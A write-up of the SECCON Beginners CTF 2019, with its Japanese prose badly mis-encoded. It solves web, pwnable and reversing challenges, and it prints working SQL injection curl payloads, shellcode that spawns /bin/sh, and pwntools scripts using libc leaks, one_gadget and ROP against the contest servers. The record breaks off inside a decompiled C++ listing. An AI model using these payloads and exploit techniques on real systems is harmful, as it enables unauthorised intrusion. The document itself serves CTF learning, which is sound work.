SECCON Beginners CTF 2019 writeup
2891 points 24th place
åå¿è åããããã®ã§åºã¦ã¿ãã Webã解ããªããããã£ã½ãã®ã§ãªãã¨ããããã
Web: [warmup] Ramen
ãªããã©ã¼ã¡ã³åºå¡ãæ¤ç´¢ã§ããWebãã¼ã¸ã«é ããããã©ã°ãæ¢ããååã®é¨åæååã§ãããããã®ã§ãSQLã®LIKEã§åã£ã¦ãã¦ãã®ããªãããã¯ãããããã®æåãªSQLã¤ã³ã¸ã§ã¯ã·ã§ã³ãããã¨è¨ããã¨ãªã®ãï¼
ã¾ãæ®æ®µä½æ°ãªãã«ä½¿ã£ã¦ããè¨èã§ãæ£ç´å®éã«ãã£ããã¨ã¯ãªãã£ããã§è©¦è¡é¯èª¤çµæ§å¤§å¤ã ã£ããã¾ãã¯ã¨ãªãéãã®ãåå¿è
ã«ã¯çµæ§é£ããã£ããå¤ãªã¯ã¨ãªãå
¥ããã¨ãUncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11
ã¨ãã®ã¡ãã»ã¼ã¸ãè¿ã£ã¦ããã®ã§ãPHPãªã®ãã¨æã£ãã
ãããã SELECT ??, ?? FROM ?? WHERE ?? LIKE '$query' ...
ã®ããã«æ¸ãã¦ããã®ã ãããï¼ãªãã¨ãªãå¾åãã³ã¡ã³ãã¢ã¦ãããã° ããå æ¸ã«éãã®ããªã¨ãæã£ã¦ããã®ã ãã©ãã«ã³ãã®å¯¾å¿ãã¡ããã¨ä»ãã¦ããªãã¨åãä»ãã¦ãããªãã¿ããã§ãããã¨ãã¼ãã«åã¨ã«ã©ã åã¯ã¡ããã¨åå¨ãããã®ãå
¥ããªãã¨fetchAll()ãã³ã±ããããã£ãã
ããã§ãSQLã¤ã³ã¸ã§ã¯ã·ã§ã³ã§ã¯UNION
ã使ã£ã¦åãç¡çç¢ç追å ããã®ãå®ç³ãããã®ã§ãã¨ãããã ' UNION SELECT 'hoge', 'moge'; --'
ã¨ãããã¨ãã©ã¼ã¡ã³åºå¡ã«ã¹ãã太éãç´ãè¾¼ã¾ãããã¨ã«æåããã
ããã¯ã¨ã³ããä½ãããåãããªãã£ãã®ã§ãã§ãã¾ãããã¯sqliteãpostgresãmysqlããããªãã¨æãã®ã§ãããããåºå¥ã§ããããªãã®ãé å¼µã£ã¦ã¤ã³ã¿ã¼ãããã§èª¿ã¹ãã¨ãMySQLãããã¨ãããã¨ãåãã£ãããªã®ã§ãMySQLã§ãã¼ãã«ãåæã§ããSQLã¯ã¨ãªã調ã¹ã¦ã
$ curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT table_name,table_rows from information_schema.tables; -- '"
ããããã¯ã¨ãªãæãã¦ã¿ãã¨ããã¼ãã«ä¸è¦§ãã ã ã¼ã£ã¨æµãã¦ããããã®ä¸ã« flag
ã¨ããã®ããã£ãã®ã§ãå¤åããããããªãã ãããã¡ãªã¿ã«table_rows
ã表示ããã¦ã¿ãã®ã ããããã0ã«ãªã£ã¦ãããmembers
ã¨ãããã¼ãã«ããã£ã¦ãããã¯3人ããã¯ããªã®ã«ãããã®table_rows
ã¯2ã«ãªã£ã¦ããã®ã§ãæ°ãæ¹ããªãã0ãªãªã¸ã³ãªã®ã ãããã
ãã¼ãã«åãåãã£ãã®ã§ãã¤ãã«ã©ãããã«ã©ã ãããã®ãã調ã¹ãã¯ã¨ãªãæããã
$ curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT column_name, column_type from information_schema.columns where table_name='flag'; -- '"
flag
ã¨ãããã¼ãã«ã® flag
ã¨ããã«ã©ã ã«å¤åãã©ã°ãå
¥ã£ã¦ãããã¨ãåãã£ãããªã®ã§ãæçµçã«æ¬¡ã®ãããªã¯ã¨ãªã§ãã©ã°ãå¾ãããã
curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT flag,flag from flag; -- '"
å¾ããããã©ã°ã¯ ctf4b{a_simple_sql_injection_with_union_select}
ãµã¼ããããããããç³»ã§ä¸çªã·ã³ãã«ãªæããªã®ããªãã¨æã£ãã
Pwnable: [warmup] shellcoder
ã¨ããããä¸ãããããã¤ããªãéã³ã³ãã¤ã«ãã¦ã¿ãã
undefined8 main(void) { code *__buf; char *pcVar1; __buf = (code *)mmap((void *)0x0,0x1000,7,0x21,-1,0); puts("Are you shellcoder?"); read(0,__buf,0x28); pcVar1 = strchr((char *)__buf,0x62); // b if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x69); // i if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x6e); // n if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x73); // s if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x68); // h if (pcVar1 == (char *)0x0) { (*__buf)(); return 0; } } } } } puts("Payload contains invalid character!!"); /* WARNING: Subroutine does not return */ _exit(0); }
éãã¤ãããã¼ã¿ã« binsh
ã®ããããã®æåãå«ã¾ãã¦ããªããã°ãããå®è¡ãã¦ãããããã°ã©ã ããããããã°ã©ã ä¸ã«ãããããæååãå«ã¾ãã¦ããªããããããããã¤ããå«ã¾ããªãããã«èªåã§execveãå¼ã³åºã0x28ãã¤ã以å
ã®ã³ã¼ãæ¸ãã®ããã©ããããã ãªã・・・ã¨æã£ãããã¤ã³ã¿ã¼ãããã«è½ã¡ã¦ãã³ã¼ããæ¾ã£ã¦ããããã®ã¾ã¾åãã¦ãã¾ã£ãããªã®ã§ãããpwntoolsã§éãã¤ãã¦çµäºã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('153.120.129.186', 20000) asms = """ xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall """ bin = asm(asms) io.recv() io.send(bin) io.interactive()
ãã©ã°ã¯ ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
ã
ãªãã»ã©xorãã¦ãã¤ãã¹ããã¨ãã趣æ¨ã®åé¡ã ã£ãã®ãã
Pwnable: OneLine
ãããã¨ããããéã³ã³ãã¤ã«ã
undefined8 main(void) { void *__buf; ulong uVar1; __buf = calloc(0x28,1); *(code **)((long)__buf + 0x20) = write; printf("You can input text here!\n>> "); read(0,__buf,0x28); (**(code **)((long)__buf + 0x20))(1,__buf,0x28,__buf); printf("Once more again!\n>> "); uVar1 = read(0,__buf,0x28); (**(code **)((long)__buf + 0x20))(1,__buf,uVar1 & 0xffffffff,__buf); return 0; }
ãããã¡ã®0x20ï½0x28ãã¤ãç®ã«writeã®ãã¤ã³ã¿ãæ¸ãè¾¼ãã§ãããããããã¡ã®ãã¤ã³ã¿ãå¼æ°ã«å¼ã³åºãã³ã¼ãã«ãªã£ã¦ããã®ã§ã0x20ãã¤ãã®æã«å¼ã³åºãããé¢æ°ã®ã¢ãã¬ã¹ãã0x00ï½0x20ã®ã¨ããã«ãã¼ã¿ãæ¸ãè¾¼ãã°è¯ãããã
ãããã親åã«2åread
ãã¦ãããããã°ã©ã ã ããªããã¤1åç®ã¯èªãã ãã¤ãæ°ã§ã¯ãªãããã¤ã³ã¿ã¾ã§å«ããé åãwrite
ãã¦ããã®ã§ã1åç®ã§ä½ãé©å½ã«çãã¯ã¨ãªãæããã°write
ã®ãã¤ã³ã¿ãåæã«éã£ã¦ãããããã§libã®ãã¼ã¹ã¢ãã¬ã¹ãæ±ãã¦ã2åç®ã§system
ãå¼ã³åºãã°è¯ãããã ã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('153.120.129.186', 10000) elf = ELF('oneline') libc = ELF('libc-2.27.so') io.recv() io.send(cyclic(0x20)) io.recv(0x20) write_libc = u64(io.recv(8)) libc_base = write_libc - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] io.recv() io.send(b"/bin/sh" + b'\x00' * (0x20 - 7) + p64(libc_base + system_addr)) io.interactive()
ã¨ãããããªããããã¯SIGSEGVã§åããªãã£ãï¼ãªãã§ã ããï¼ã
ãããããªãã®ã§å¥ã®ã¬ã¸ã§ããã使ããªããã¨one_gadgetã¨ãããã¼ã«ã§libã調ã¹ãã¨ã
$ one_gadget libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
ãããªã®ãè¦ã¤ãã£ãã®ã§ãããã®2åç®ã使ãã¨ãã¾ãè¡ã£ãã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('153.120.129.186', 10000) elf = ELF('oneline') libc = ELF('libc-2.27.so') io.recv() io.send(cyclic(0x20)) io.recv(0x20) write_libc = u64(io.recv(8)) libc_base = write_libc - libc.symbols['write'] io.recv() io.send(b'\x00' * 0x20 + p64(libc_base + 0x4f322)) io.interactive()
ãã©ã°ã¯ ctf4b{0v3rwr!t3_Func7!on_p0int3r}
ã
é¢æ°ãã¤ã³ã¿ãä¸æ¸ãããã ãã§ã¯ä¸æããããªãã£ãçç±ã¯å¾ã§èª¿ã¹ã¦ããããããã¨ãªããã®åé¡one lineã¨ããååãªãã ãããäºåèªãã§ããã®ã«ã
Pwnable: memo
ã¾ãã¾ãã¨ããããéã³ã³ãã¤ã«ã
int main(void) { FILE *__stream; char *pcVar1; long lVar2; undefined8 uStack96; char local_58 [8]; undefined auStack80 [56]; undefined *local_18; uint local_c; do { uStack96 = 0x4006fb; printf("Input size : "); uStack96 = 0x400713; pcVar1 = fgets(local_58,0x40,stdin); if (pcVar1 == (char *)0x0) { return 0xffffffff; } uStack96 = 0x40072e; local_c = atoi(local_58); } while (local_c < 0x20); lVar2 = SUB168((ZEXT816(0) << 0x40 | ZEXT816((long)(int)local_c + 0x1e)) / ZEXT816(0x10),0); local_18 = auStack80 + lVar2 * -0x10; (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x400786; printf("Input Content : "); __stream = stdin; (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x40079e; fgets(local_18,0x20,__stream,*(undefined *)(&uStack96 + lVar2 * 0x1ffffffffffffffe)); (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x4007b6; printf("Your Content : %s\n",local_18); return 0; }
ãã£ã¦ããã³ã¼ãã¯ã ãã¶è¬ã ãããã¾ãCè¨èªã«ãããã³ã°ã§ããªãã¦ã ãã¶å¤ãªãã¨ã«ãªã£ã¡ãã£ã¦ããéä¸ã§ã¹ã¿ãã¯ãã¤ã³ã¿ãããã£ã¦ãã®ã§ãã¹ã¿ãã¯èªã¿æ¸ãã®ã³ã¼ããèªã¿ã¥ãããªã£ã¦ãããã®è¾ºã¯ç´ ç´ã«ã¢ã»ã³ããªèªãã æ¹ãããããããã£ãã®ã§ãCã¨ã¢ã»ã³ããªä¸¡æ¹åèã«ããªãã解èªããçµæãè¦ããã«ã
- æåã«0x20ãã大ããªæ´æ°ãå ¥åããã¦
- RSP -= (ãã®æ´æ°+0x1e) / 0x10 * 0x10 ãã¦
- fgets(RSP, 0x20, stdin) ããã
ãªãã§ãµã¤ãºãå ¥åããã¦ããåºå®ã®é·ãã®fgetsãããã®ãã¨ãããã®åãä¸ãå¦çå¾®å¦ã«åãä¸ãã«ãªã£ã¦ç¡ããªããã¨ãæã£ãããããåãããªãã¨ããã¯æ®ã£ããããã®åé¡ã®ãã¢ã¯ãæåã®æ´æ°ã®å ¥åã®æã«ã符å·ç¡ãã§ãµã¤ãºã®æ¯è¼ããã£ã¦ãã¾ã£ã¦ããã®ã§ãè² ã®æ°ãå ¥ååºæ¥ã¦ãã¾ãã¨ããæã ããã
è² ã®æ°ãå ¥ååºæ¥ã¦ãã¾ãã¨è¨ããã¨ã«ãã£ã¦ãRSPãå¼ãç®ãã¦mainã®ãªã¿ã¼ã³ã¢ãã¬ã¹ãå£ããªãã¨ããå®å ¨è¨è¨ï¼ï¼ï¼ããéã«è¶³ãç®ãã¦ãã³ãã¤ã³ãã§ç ´å£ã§ããããã«ãªã£ã¦ãã¾ã£ã¦ããã
0x10ã§åãä¸ãã¦ããã®ã§ãRSPã®è¶³ãå¼ãã¯0x10ã®åæ°ã§ããè¡ããªãããã®mainé¢æ°ã¯ã¹ã¿ãã¯ã0x50ãã¤ã使ã£ã¦ããã®ã§ãRSPã0x50足ãã¦ããã°ãfgetsã§æ¸ãè¾¼ããããã¡ã¼ã®ã¡ããã©8ãã¤ãç®ãã16ãã¤ãç®ãmainã®ãªã¿ã¼ã³ã¢ãã¬ã¹ã«ãªãããã«æã£ã¦ãããããã¤16ãã¤ãã»ã©ä½è¨ã«ãã¼ã¿ãæ¸ãè¾¼ããã¨ãã§ããã
å¼ããéç®ããã°ãæåã«å ¥åããæ°ã -95 ãã -110 ã®å¤ã«ãããã¨ã§ãRSPã«è¶³ãå¤ã0x50ã«ã§ããã
ãã¤ããªä¸ã«ã¯ãããã¤ããåãã«
void hidden(void) { system("sh"); exit(0); }
ã¨ããé¢æ°ãé ããã¦ããã®ã§ããªã¿ã¼ã³ã¢ãã¬ã¹ããã«ãã¦ããã°è¯ãããã ã
ããããããã®ã¾ã¾èªãã§ããã¨SEGVãã¦ãã¾ã£ã¦ä¸æãåããªãã
gdbã§ãã£ã¡ãé å¼µã£ã¦è¿½ã£ã¦ããã¨ãsystemé¢æ°ã®gotã¨ã³ããªã®é 延ãã¤ã³ãã£ã³ã°ãè¡ãé¨åã®ã³ã¼ãã§è½ã¡ã¦ãããã¨ãåãã£ã¦ãè½ã¡ã¦ããçç±ã¯SSEã®movapså½ä»¤ã®ã¢ã©ã¤ã¡ã³ããããããã ããã ã¨ããã・・・ã
movapsã§ã¢ã¯ã»ã¹ãã¦ããã¢ãã¬ã¹ã¯RSPä¾åã§ããããå¼ã³åºãããåã«ããããã16ãã¤ãã¢ã©ã¤ã¡ã³ãã«æã£ã¦ããªãã¨æ»ã¬ã¿ããã ã使ãå´ãã¢ã©ã¤ã³ããªãã¦è¯ããã§ããã・・・ï¼ããåãããªãã
ããåãããªããã©ãããããã¨ãªã8ãã¤ãRSPããããã¦ããã°è¯ãã®ã§ãç´ã§hidden
é¢æ°ã«é£ã¶ã®ã§ã¯ãªãã¦ãã©ãã§ãããããret
å½ä»¤ã«é£ã¹ã°ãåã«8ãã¤ãã¹ã¿ãã¯ãããããã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('133.242.68.223', 35285) elf = ELF('./memo') io.recv() # -95 ~ -110 io.sendline('-104') io.recv() rop = ROP('./memo') rop.call(0x0040085c) rop.call('hidden') io.sendline(b'\x00'*8 + rop.chain()) io.interactive()
ãã©ã°ã¯ ctf4b{h4ckn3y3d_574ck_b0f}
ã
ã©ãããæå³ãªãã ãã・・・ï¼
Reversing: [warmup] Seccompare
ã¨ããããéã³ã³ãã¤ã«ã
undefined8 main(int iParm1,undefined8 *puParm2) { /// ... local_10 = *(long *)(in_FS_OFFSET + 0x28); if (iParm1 < 2) { printf("usage: %s flag\n",*puParm2); uVar2 = 1; } else { local_38 = 'c'; local_37 = 0x74; local_36 = 0x66; local_35 = 0x34; local_34 = 0x62; local_33 = 0x7b; local_32 = 0x35; local_31 = 0x74; local_30 = 0x72; local_2f = 0x31; local_2e = 0x6e; local_2d = 0x67; local_2c = 0x73; local_2b = 0x5f; local_2a = 0x31; local_29 = 0x73; local_28 = 0x5f; local_27 = 0x6e; local_26 = 0x30; local_25 = 0x74; local_24 = 0x5f; local_23 = 0x65; local_22 = 0x6e; local_21 = 0x30; local_20 = 0x75; local_1f = 0x67; local_1e = 0x68; local_1d = 0x7d; local_1c = 0; iVar1 = strcmp(&local_38,(char *)puParm2[1]); if (iVar1 == 0) { puts("correct"); } else { puts("wrong"); } uVar2 = 0; } // ... }
åã«æååæ¯è¼ãã¦ãã ããªã®ã§ã¨ã¦ãç°¡åã
ãã©ã°ã¯ ctf4b{5tr1ngs_1s_n0t_en0ugh}
ããããããã§ããã
Reversing: Leakage
éã³ã³ãã¤ã«ã
undefined8 main(int iParm1,undefined8 *puParm2) { int iVar1; undefined8 uVar2; if (iParm1 < 2) { printf("usage: %s flag\n",*puParm2); uVar2 = 1; } else { iVar1 = is_correct(puParm2[1]); if (iVar1 == 0) { puts("wrong"); } else { puts("correct"); } uVar2 = 0; } return uVar2; }
is_correct
ã¨ããé¢æ°ã§ãã§ãã¯ãã¦ãããããã
undefined8 is_correct(char *pcParm1) { char cVar1; size_t sVar2; undefined8 uVar3; int local_c; sVar2 = strlen(pcParm1); if (sVar2 == 0x22) { local_c = 0; while (local_c < 0x22) { cVar1 = convert((ulong)(byte)enc_flag[(long)local_c]); if (cVar1 != pcParm1[(long)local_c]) { return 0; } local_c = local_c + 1; } uVar3 = 1; } else { uVar3 = 0; } return uVar3; }
é·ãã¯0x22ãconvert
ã¨ããé¢æ°ã§1æåãã¤ãããããåãè¾¼ã¾ãã¦ããã¨ã³ã³ã¼ãæ¸ã¿ãã©ã°ããã³ã¼ããã¦æ¯è¼ãã¦ããããã ã
ulong convert(byte bParm1) { // ... local_cc = 10; lVar1 = *(long *)(in_FS_OFFSET + 0x28); local_d8 = s.2160._20_4_; local_dc = s.2160._44_4_; uVar17 = s.2160._0_4_; uVar15 = s.2160._4_4_; uVar14 = s.2160._12_4_; uVar5 = s.2160._16_4_; uVar19 = s.2160._28_4_; uVar7 = s.2160._32_4_; uVar16 = s.2160._40_4_; uVar6 = s.2160._56_4_; uVar4 = s.2160._48_4_; uVar18 = s.2160._60_4_; uVar12 = s.2160._8_4_; uVar10 = s.2160._24_4_; uVar13 = s.2160._36_4_; uVar9 = s.2160._52_4_; do { uVar4 = uVar4 ^ uVar17 + uVar5; uVar6 = uVar6 ^ uVar12 + uVar10; uVar4 = uVar4 << 0x10 | uVar4 >> 0x10; uVar6 = uVar6 << 0x10 | uVar6 >> 0x10; uVar7 = uVar7 + uVar4; uVar16 = uVar16 + uVar6; uVar8 = uVar5 ^ uVar7; uVar11 = uVar10 ^ uVar16; uVar8 = uVar8 << 0xc | uVar8 >> 0x14; uVar11 = uVar11 << 0xc | uVar11 >> 0x14; uVar17 = uVar17 + uVar5 + uVar8; uVar12 = uVar12 + uVar10 + uVar11; uVar4 = uVar4 ^ uVar17; uVar6 = uVar6 ^ uVar12; uVar5 = uVar4 << 8 | uVar4 >> 0x18; uVar6 = uVar6 << 8 | uVar6 >> 0x18; uVar7 = uVar7 + uVar5; uVar8 = uVar8 ^ uVar7; uVar8 = uVar8 << 7 | uVar8 >> 0x19; uVar9 = uVar9 ^ uVar15 + local_d8; uVar10 = uVar9 << 0x10 | uVar9 >> 0x10; uVar13 = uVar13 + uVar10; uVar4 = local_d8 ^ uVar13; uVar4 = uVar4 << 0xc | uVar4 >> 0x14; uVar15 = uVar15 + local_d8 + uVar4; uVar10 = uVar10 ^ uVar15; // ......
ã¦ã¯ã¡ã¡ã¡ã
ãããã¾ããis_correct
é¢æ°å
ã§0ãè¿ãç¬éã«ã¯æ£ããæåãã¬ã¸ã¹ã¿ä¸ã«åå¨ãã¦ããã¯ããªã®ã§ããã¬ã¼ã¯ãã¤ã³ããä»æãã¦ããã°ãå
é ããä¸æåãã¤æ£è§£ã確å®ããã¦è¡ããã¨ã¯ã§ãããã ã
ããã¦åºã¦ãããã©ã°ã¯ ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
ã
Reversing: Linear Operation
ä»åä¸çªè¦å´ããã®ãããã
ã¨ããããmainã®éã³ã³ãã¤ã«ã
undefined8 main(void) { int iVar1; long in_FS_OFFSET; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; printf("input flag : "); __isoc99_scanf(&DAT_0040d042,&local_58); iVar1 = is_correct(&local_58); if (iVar1 == 0) { puts("wrong"); } else { puts("correct"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
ã§ãis_correct
é¢æ°ãªãã ããããããã¡ããã¡ãã§ãããã§ãããã¦ãªããªãéã³ã³ãã¤ã«ãçµãããªãã
ããã¦åºã¦ããã®ãããã
ãããé å¼µã£ã¦èªãã¨ãåºæ¬çã«ã¯
(bVar2 = pbParm1[0x13] << 4 | pbParm1[0x13] >> 4, bVar2 = (byte)(((uint)bVar2 & 0x3ffffff3) << 2) | (byte)((int)(uint)bVar2 >> 2) & 0x33, ((ulong)(byte)( (bVar2 * 2 & 0xaa | (byte)((int)(uint)bVar2 >> 1) & 0x55) ^ pbParm1[3]) ^ 0x11) * 0x22 == 0x1276))) &&
ããããå¼ã大éã«&&ã§ç¹ãããããã®ã ã¨è¨ããã¨ãåãããããã¦ããã®ãã¡ã®
(bVar2 = pbParm1[0x13] << 4 | pbParm1[0x13] >> 4, bVar2 = (byte)(((uint)bVar2 & 0x3ffffff3) << 2) | (byte)((int)(uint)bVar2 >> 2) & 0x33, ... (bVar2 * 2 & 0xaa | (byte)((int)(uint)bVar2 >> 1) & 0x55) ...
ãã®é¨åã¯ãè¦ããã«ç¹å®ã®æåã®ãããé ãéã«ãã¦ããå¦çã ã¨åããã
ãªã®ã§ãçµå± is_correct
ããã£ã¦ããå¦çã¯ã
bit_reverse(s[i]) (+|*|^) s[j] == C
ã®ãããªå¦çã ã¨åãã(å®æ°ãç³ã¿è¾¼ãã§ç°¡ç´ããã¨)ã
ã¾ãããã¾ã§ã§ãã®ããã大å¤ã ã£ãããã¤ãã«ãããããªãã¨ããã¦å®éã®ããã°ã©ã ããæ½åºããªããã°ãªããªããå®æ°é¨åã¾ã§å ¥ããã¨å¼ã®å½¢ã«æ¡å¤ããªã¨ã¼ã·ã§ã³ãããã®ã¨ãéã³ã³ãã¤ã©ãä¸è²«ããå½¢ã®å¼ãåºãã¦ããã¦ããããã§ã¯ãªãã®ã§ãç°¡åãªæ£è¦è¡¨ç¾ã ã¨é£ãããã ã£ãã
ãªã®ã§ãä»åã¯Haskellã®ãã¿ã¼ã³ãããã§ç°¡ç´åãããã¨ã«ãããlanguage-c
ããã±ã¼ã¸ã§ãã¼ãºãã¦ããããä»åã®ã³ã¼ãã«å¿
è¦ãªASTã ããã¿ã¼ã³ããããæ¸ãã¦ããããããã«ãã©ãã¼ã¹ããããããã¦ã§ããã®ãããã
æ¸ãã¦ã¦æã£ãã®ã ããlanguage-c
ã¯ããããã£ãããããããªå¦çãæ¸ãã®ã¯ãã¡ããã¡ãé¢åã ã
ã§ãããã«å ã®ã§ããã³ã¼ããé£ããã¦ããã¨ã
ãããªæãã®ãè¦éããã»ã©ç¶ºéºãªã³ã¼ããåºã¦ãããf_add
ã¨ãã®é¢æ°ã¯å
ã»ã©ã®å¶ç´å¼ã§ã
ulong f_add(ulong a, ulong b, ulong c) { return a + b == c; } ulong f_mul(ulong a, ulong b, ulong c) { return a * b == c; } ulong f_xor(ulong a, ulong b, ulong c) { return a ^ b == c; }
ãããªå®ç¾©ã«ãªã£ã¦ãããã§ãããããis_correct
ã®å
¨è²ãæããã«ãªã£ãã®ã§ããããæºãããã¼ã¿ãæ¢ããåç´ãªå¶ç´å¼ãªã®ã§ãå¶ç´ã½ã«ãã¼ã«è§£ãããããz3ã®åºçªã ã
ã¾ããç°¡ç´åãããããã°ã©ã ãé©å½ã«ããã£ã¦ãæ¡ä»¶ã ãæãåºãããã¼ã¿ãä½ãã
ãããèªãã§å é é¨åã®æåã®å¶ç´ã¨åããã¦ãå¶ç´ãçµã¿ç«ã¦ã¦SMTã½ã«ãã¼ã«é£ãããã³ã¼ããæ¸ãã
ããã¦å®è¡ããï¼
çããåºã¦ããï¼
ãããé·ãéã®ãã ã£ãã大å¤ã ããã©ããã©ã°ãåºã¦ããç¬éã¯ä½ã¨ããããªãããããããæ°åã«ãªããã
åºã¦ãããã©ã°ã¯ãctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
ã
ããããããã§ãããããã£ã¦ããã¨ã¯è¦ããã«ãããããã¨ãªã®ã§ãã·ã³ããªãã¯å®è¡ã§ã§ããªãã¯ãããªãããããã·ã³ããªãã¯å®è¡ãã¬ã¼ã ã¯ã¼ã¯ããç¥ããªãã®ã§ããªããèªåã§ãããã¨ã«ãªã£ã¦ãã¾ã£ãããã®è¾ºä½¿ããããã«ãã¦ããããã
Reversing: SecconPass
ã¨ããããéã³ã³ãã¤ã«ããã¨ãC++ã£ã½ãã³ã¼ããåºã¦ããããã®åé¡ã®ã³ã³ã»ããã¯ããããã¢ã¬ãªãã ãããã
void main(void) { bool bVar1; int iVar2; basic_ostream *this; ulong uVar3; Entry *this_00; ulong uVar4; long lVar5; long in_FS_OFFSET; int local_138; int local_134; int local_130; int local_12c; undefined8 local_128; undefined8 local_120; undefined8 local_118; FILE *local_110; basic_string local_108 [32]; basic_string local_e8 [32]; basic_string local_c8 [32]; basic_string local_a8 [32]; basic_string local_88 [32]; Entry local_68 [72]; undefined8 local_20; local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28); basic_string(); local_138 = 0; /* try { // try from 001019ca to 00101a70 has its CatchHandler @ 00101f99 */ local_110 = fopen("/dev/urandom","rb"); if (local_110 == (FILE *)0x0) { this = operator<<<std--char_traits<char>> ((basic_ostream *)__TMC_END__,"Error open /dev/urandom"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>) ; /* WARNING: Subroutine does not return */ exit(1); } fread(&local_138,8,1,local_110); operator<<<std--char_traits<char>> ((basic_ostream *)__TMC_END__,"****************\n** SecconPass **\n****************\n"); do { while( true ) { while( true ) { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Action: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108) ; /* try { // try from 00101a85 to 00101a89 has its CatchHandler @ 00101dfe */ local_134 = stoi(local_108,(ulong *)0x0,10); if (local_134 != 1) break; /* try { // try from 00101c3c to 00101c56 has its CatchHandler @ 00101f99 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Index: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108) ; /* try { // try from 00101c6b to 00101cdf has its CatchHandler @ 00101eaa */ local_12c = stoi(local_108,(ulong *)0x0,10); if ((local_12c < 0) || (uVar4 = SEXT48(local_12c), uVar3 = size((vector<Entry,std--allocator<Entry>> *)ve), uVar3 <= uVar4)) { bVar1 = false; } else { bVar1 = true; } if (bVar1) { this_00 = (Entry *)operator[]((vector<Entry,std--allocator<Entry>> *)ve,(long)local_12c); show(this_00); } else { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid index\n"); } } if (1 < local_134) break; if (local_134 == 0) { basic_string(); basic_string(); /* try { // try from 00101af0 to 00101b86 has its CatchHandler @ 00101e84 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"ID: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_e8); operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"PASS: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_c8); uVar3 = length(); iVar2 = local_138; if (uVar3 < 0x14) { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Too short!!\n"); } else { basic_string(local_88); /* try { // try from 00101b9b to 00101b9f has its CatchHandler @ 00101e62 */ basic_string(local_a8); /* try { // try from 00101bb4 to 00101bb8 has its CatchHandler @ 00101e4e */ Entry(local_68,(basic_string)0x58,(basic_string)0x78,iVar2); ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_a8); ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_88); /* try { // try from 00101be2 to 00101be6 has its CatchHandler @ 00101e73 */ push_back((vector<Entry,std--allocator<Entry>> *)ve,local_68); ~Entry(local_68); } ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_c8); ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_e8); } else { LAB_00101de5: /* try { // try from 00101df3 to 00101df7 has its CatchHandler @ 00101f99 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid action\n"); } } if (local_134 != 2) { if (local_134 == 3) { /* WARNING: Subroutine does not return */ exit(0); } goto LAB_00101de5; } /* try { // try from 00101cf3 to 00101d0d has its CatchHandler @ 00101f99 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Index: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108); /* try { // try from 00101d22 to 00101dd8 has its CatchHandler @ 00101f23 */ local_130 = stoi(local_108,(ulong *)0x0,10); if ((local_130 < 0) || (uVar4 = SEXT48(local_130), uVar3 = size((vector<Entry,std--allocator<Entry>> *)ve), uVar3 <= uVar4)) { bVar1 = false; } else { bVar1 = true; } if (bVar1) { lVar5 = (long)local_130; local_128 = begin((vector<Entry,std--allocator<Entry>> *)ve); local_120 = operator+((__normal_iterator<Entry*,std--vector<Entry,std--allocator<Entry>>> *) &local_128,lVar5); __normal_iterator<Entry*> ((__normal_iterator<Entry_const*,std--vector<Entry,std--allocator<Entry>>> *) &local_118,(__normal_iterator *)&local_120); erase((vector<Entry,std--allocator<Entry>> *)ve,SUB81(local_118,0)); } else { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid index\n"); } } while( true ); }
